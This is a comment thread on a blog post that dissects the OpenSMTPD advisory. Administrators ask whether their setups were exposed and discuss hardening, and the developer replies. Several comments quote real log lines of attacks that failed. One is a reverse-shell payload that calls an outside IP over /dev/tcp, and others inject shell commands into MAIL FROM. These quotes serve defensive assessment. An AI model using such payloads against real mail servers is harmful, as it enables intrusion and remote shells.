OpenSMTPD advisory dissected · poolp.org

[poolpOrg]

[fedetft]

Two questions from a long time debian+opesmtpd user: in your post you described the severity of the vulnerability for the mbox, maildir and lmtp cases, but what about mda?

My config looks like this
action receive mda "/usr/lib/dovecot/deliver -d %{user.username} -f %{sender}" user mail alias <aliases>

is dovecot run directly as an unprivileged user or it goes through a vulnerable intermediate process run as root?

By checking the logs it looks like an attempted attack was made while I was vulnerable, the log line looks like

smtp failed-command command="MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>" result="530 5.5.1 Invalid command: Must issue an AUTH command first"

from my understanding the attack failed (because the RCPT TO was not valid), so no (privileged or not) process has been executed in this case, right?

[poolpOrg]

Two questions from a long time debian+opesmtpd user: in your post you described the severity of the vulnerability for the mbox, maildir and lmtp cases, but what about mda?

I didn't mention mda because it is similar to maildir and lmtp (they are syntaxic sugar to mda for common mail delivery agents): mda is potentially vulnerable but without privileges escalation as it can only run from an unprivileged process.

I say potentially vulnerable because this is directly related to the command used, some may have no impact, others may have the same impact as lmtp. Some may be exploited through the same way and others may require crafting a different command line to evade some quoting / escaping.

My config looks like this
action receive mda "/usr/lib/dovecot/deliver -d %{user.username} -f %{sender}" user mail alias <aliases>

is dovecot run directly as an unprivileged user or it goes through a vulnerable intermediate process run as root?

This command is vulnerable but dovecot is ran as unprivileged user "mail", not root.

By checking the logs it looks like an attempted attack was made while I was vulnerable, the log line looks like

smtp failed-command command="MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>" result="530 5.5.1 Invalid command: Must issue an AUTH command first"

from my understanding the attack failed (because the RCPT TO was not valid), so no (privileged or not) process has been executed in this case, right?

The attack failed indeed because in this case you are not accepting MAIL FROM unless the session is authenticated. As a result, the bug didn't get a chance to propagate to the mda layer, the MAIL FROM was rejected during the SMTP session.

[kaey]

Users can avoid dangerous code by not using action mbox, is that correct?

[Midar]

Unfortunately I saw the advisory waaaaay too late due to travel. There definitely are exploitation attempts in my logs:

mail# grep ';' /var/log/maillog
Feb  1 05:21:09 mail smtpd[18139]: 1f94d342cdaeab72 smtp failed-command command="MAIL FROM:<;bash -i >& /dev/tcp/185.10.68.161/443 0>&1;>" result="503 5.5.4 Invalid command arguments: Unsupported option &"
mail# zgrep ';' /var/log/maillog.*.gz
/var/log/maillog.1.gz:Jan 30 14:50:34 mail smtpd[18139]: 1f94c75fc6e98dfb smtp failed-command command="MAIL FROM:<;ls;>" result="530 5.5.1 Invalid command: Must issue a STARTTLS command first"
/var/log/maillog.1.gz:Jan 30 17:10:17 mail smtpd[18139]: 1f94c8533a809df4 smtp failed-command command="MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>" result="530 5.5.1 Invalid command: Must issue a STARTTLS command first"
/var/log/maillog.1.gz:Jan 30 17:10:23 mail smtpd[18139]: 1f94c8533a809df4 smtp failed-command command="MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>" result="530 5.5.1 Invalid command: Must issue an AUTH command first"

Would there be anything in the logs on a successful one? I'm currently trying to figure out if I need to reinstall the machine.

Did I dodge a bullet here because my config should only allow local users to send to the empty domain? My config looks like this:

pki "*" cert "/etc/ssl/fullchain.pem"
pki "*" key "/etc/ssl/private/privkey.pem"

table aliases file:/etc/mail/aliases
table domains file:/etc/mail/domains
table passwd passwd:/etc/mail/passwd
table virtuals file:/etc/mail/virtuals

table blocked_to {                              \
        […] # Stripped a bunch of mail addresses that were receiving spam
}

table blocked_from {            \
        […] # Blocked a bunch of addresses that sent spam
}

smtp sub-addr-delim "-"

listen on lo0
listen on vnet0 port 25 tls no-dsn
listen on vnet0 port 587 tls-require auth <passwd>

action "deliver-intern" lmtp "/var/dovecot/lmtp" rcpt-to alias <aliases>
action "deliver-extern" lmtp "/var/dovecot/lmtp" rcpt-to virtual <virtuals>
action "relay" relay

match from any mail-from <blocked_from> for any reject
match from any rcpt-to <blocked_to> for any reject

match from local for local action "deliver-intern"
match from any for domain <domains> action "deliver-extern"
match auth from any for any action "relay"
match from local for any action "relay"

/var/mail/domains contains a list of fully qualified domains.

/var/mail/virtuals looks like this:

user1@domain1  [email protected]
user1@domain2  [email protected]
user1@domain3  vmail

[email protected]  [email protected]
[email protected]  [email protected]
[email protected]  vmail

[email protected]  [email protected]
[email protected]  [email protected]
[email protected]  vmail

[email protected]  [email protected]

(The last line is because user1 receives mail from other VMs)

[fedetft]

Thanks for the quick reply.

I was reading again your post, and from my little understanding of how mail delivery works, although in the general case there has to be a process running as root, in some configurations this may not be so.

Correct me if I am wrong, but with a config like mine, with just one type of receive action

action receive mda "$command" user mail alias <aliases>

opensmtpd could drop privileges to user mail on startup, and not have any process running as root, maybe?

I don't know how complicated could it be to make a config-dependent privilege dropping, but if it can be done in many or widely used cases, it could be worth it.

[poolpOrg]

Users can avoid dangerous code by not using action mbox, is that correct?

In a vulnerable OpenSMTPD, only maildir is safe.

On a fix OpenSMTPD, yes you are right: only action mbox is dangerous.

I'm working with other OpenBSD hackers on lifting the requirement for privileges in mail.local so that OpenSMTPD can consider it similar to any other delivery method and it will no longer be dangerous.

[poolpOrg]

Unfortunately I saw the advisory waaaaay too late due to travel. There definitely are exploitation attempts in my logs:

mail# grep ';' /var/log/maillog
Feb  1 05:21:09 mail smtpd[18139]: 1f94d342cdaeab72 smtp failed-command command="MAIL FROM:<;bash -i >& /dev/tcp/185.10.68.161/443 0>&1;>" result="503 5.5.4 Invalid command arguments: Unsupported option &"
mail# zgrep ';' /var/log/maillog.*.gz
/var/log/maillog.1.gz:Jan 30 14:50:34 mail smtpd[18139]: 1f94c75fc6e98dfb smtp failed-command command="MAIL FROM:<;ls;>" result="530 5.5.1 Invalid command: Must issue a STARTTLS command first"
/var/log/maillog.1.gz:Jan 30 17:10:17 mail smtpd[18139]: 1f94c8533a809df4 smtp failed-command command="MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>" result="530 5.5.1 Invalid command: Must issue a STARTTLS command first"
/var/log/maillog.1.gz:Jan 30 17:10:23 mail smtpd[18139]: 1f94c8533a809df4 smtp failed-command command="MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>" result="530 5.5.1 Invalid command: Must issue an AUTH command first"

These attempts failed for a variety of reasons ranging from not understanding how the exploit works and trying to use it on an authenticated listener where MAIL is not processed for unauthenticated sessions.

Would there be anything in the logs on a successful one? I'm currently trying to figure out if I need to reinstall the machine.

On a successful one, you'd see the session accepted for delivery, the exploit doesn't happen during the session but is deferred to be executed during the delivery. If you don't see a message accepted for a session with a bogus MAIL FROM, it's supposedly good... if you are sure your logs were not altered.

Did I dodge a bullet here because my config should only allow local users to send to the empty domain? My config looks like this:

You dodged a bullet because you used lmtp which CAN be exploited but not to obtain root privileges.

[poolpOrg]

Thanks for the quick reply.

I was reading again your post, and from my little understanding of how mail delivery works, although in the general case there has to be a process running as root, in some configurations this may not be so.

Correct me if I am wrong, but with a config like mine, with just one type of receive action

action receive mda "$command" user mail alias <aliases>

opensmtpd could drop privileges to user mail on startup, and not have any process running as root, maybe?

Yes, this action would create a process and immediately drop privileges to user mail.

I don't know how complicated could it be to make a config-dependent privilege dropping, but if it can be done in many or widely used cases, it could be worth it.

That is already what happens

[fedetft]

I don't know how complicated could it be to make a config-dependent privilege dropping, but if it can be done in many or widely used cases, it could be worth it.

That is already what happens

Actually I was suggesting to drop the privileges at startup if the config allows it, before even accepting connections from sockets, thus having absolutely no process running as root where an escalation can occur.

It's just a random thought, if it's not possible/too cumbersome to implement don't worry.

[poolpOrg]

It is not really possible but if we disallow delivery to root, the result will be very similar to be honest, the dangerous part is here

[fgma]

Besides all other improvements I'd suggest to make the server banner override-able inside the config instead of using the default SMTPD_NAME. This will not improve security directly but makes it harder to search for possible targets available in public databases for mass exploitation.

[eFochler]

Maildir by default! Eliminating bugs is a noble pursuit, but making the secure path the easiest path is the first step. mbox is a terrible format designed to solve problems of slow filesystems on slow disks. That's not the current problem. Death to mbox.

[B4rb3rouss]

Just wanted to say, a bit late though, a sentence I heard a lot when I was a child : "Seuls ceux qui ne font rien ne font pas d'erreurs". (I know you understand it)
It's french for "The ones who don't makes mistakes are the ones doing nothing".
Anyway, thank you for all your work. You have the guts to do it. 😉

[lanodan]

Hi, maybe for the Linux side of things it could use capabilities(7) and/or something like AppArmor+SELinux? capabilities would allow to drop all SuperUser privileges and only keep the ones needed. AppArmor/SELinux would allow to also restrict capabilities and their actions further.

[ejelly]

FWIW, I think that the previous use of system() instead of exec*() actually really is a major part of the problem. In fact, I'd say that most of the other things you propose in your post, while worthwhile, are more of the "hardening" variety than the value of getting rid of system(). (Except for fixing the validation function, of course.)

A good analogy is SQL statements, where you generally should use prepared SQL statements instead of string-formatting them. With string-formatted SQL statements, you need to very carefully escape the data that you embed in your SQL string that the database will interpret as a statement. This actually requires knowledge of the SQL parser's grammar. With prepared statements, where any data is passed out of band, no knowledge of the grammar is required at all. The worst that can happen is that some insufficient validation results in the SQL statement applying to some unexpected data, but the statement itself remains the same.

The problem becomes much, much worse for shells. Not only are there multiple confusing ways to quote strings with various levels of effectiveness already (compare the output of echo "$(id)" with echo '$(id)'), making proper escaping hard to get right in the first place, there is also a multitude of shells with vastly differing grammars available. Worse, you now need to trust that there's no weird inconsistency (possibly, but not even necessarily, considered a bug!) in whatever shell variant is being used.

execle() and friends, on the other hand, are equivalent to out-of-band passing of data. It is always unambiguous what sequence of bytes gets passed as what argument, i.e. what will land in the new process's individual argv elements. By contrast, system() results in a complete breakdown of the well-definition of the interface between the two processes.

Consequently, I am of the opinion that using system() is almost always a security issue. Pretty much the only time where system() is acceptable at all, is if you purposefully want to directly allow the user to make use of the shell, e.g. a text editor allowing the user to enter a shell command through which to pipe the current buffer through. .forward might actually be another example where this is acceptable, if .forward allows the user to provide a specific shell command to pipe mail into, effectively relinquishing the responsibility to the user and within their privilege context (though that's also giving them something with which they can easily shoot themselves into their foot).

[ejelly]

Apart from that, a question to help me assess how vulnerable my server was before I applied the patches:

My configuration only matches actions for external connections for some specific domains. That is, while I allow full relaying locally, I only have two non-obvious domains where mails from outward-facing interfaces are allowed (one of the actions is a "relay host" action, the other is indeed an mbox one).

There are more generic matches, including match for local action "local" (which ends up in mbox), but those should not match outward-facingly.

Am I right in the assumption that in order to exploit the bug, an attacker would have to know one of the two domains, because otherwise the attempt would fail at the RCPT TO: command?

My mail server does not advertise either of the two domains in its welcome banner or through its DNS reverse PTR, so I think it's very unlikely that automatic scanning/exploiting would know a proper recipient domain. In particular, most vulnerability scanners seem to use just <root> or, in very few cases, <root@...> with various parts of the advertised domain attached, which I verified to fail at RCPT TO:.

[poolpOrg]

@ejelly regarding your first comment I'm not so convinced by your rationale: assuming we only take care of system(), the potential for escalation will still exists if a different bug is found that doesn't target system(). In such a case, we'll be discussing a different work-around around a different bug producing possibly the same result.

That doesn't mean we won't replace system() with excle*() (work already started and got committed heading that way) but I don't believe this is sufficient, this just plugs one way of targeting the same code path. Also, as you stated, in ~/.forward we can't just go the execl*() way because people expect to be able to use commands with a getopt() interface and globbing and what not. The same applies for aliases, though I think commands from aliases should be killed like delivery to root.

As for your second comment, you are right, the envelope needs to be accepted for the exploit to work and that recipient must use mbox for the privileges escalation to happen.

[erley]

Since last OpenSMTPd upgrade I have a small regression with local email sender hostname.
For example, this worked before, but not now with v6.6.4p1 on my FreeBSD box:
cat toto | sendmail [email protected]
It logs this:
smtp connected address=local host=#
smtp failed-command command="MAIL FROM:<root@#> " result="553 5.1.0 Sender address syntax error"
When I specify hostname part for both sender and recipient, it works correctly:
cat toto | sendmail -f [email protected] [email protected]
In logs:
smtp connected address=local host=#
smtp message msgid=cd8c86ec size=273 nrcpt=1 proto=ESMTP
smtp envelope evpid=cd8c86ecc792f364 from=<[email protected]> to=<[email protected]>
smtp disconnected reason=quit
and message is delivered ok.
Am I missing something?

[erley]

At the moment I set sendmail /usr/libexec/dma in my /etc/mail/mailer.conf and specified MAILNAME myhost.name in /etc/dma/dma.conf. This involves DMA in delivery chain and it properly sets hostname in sender's address.
It doesn't seem the right config for me, but at least now I don't miss important emails sent by local daemons.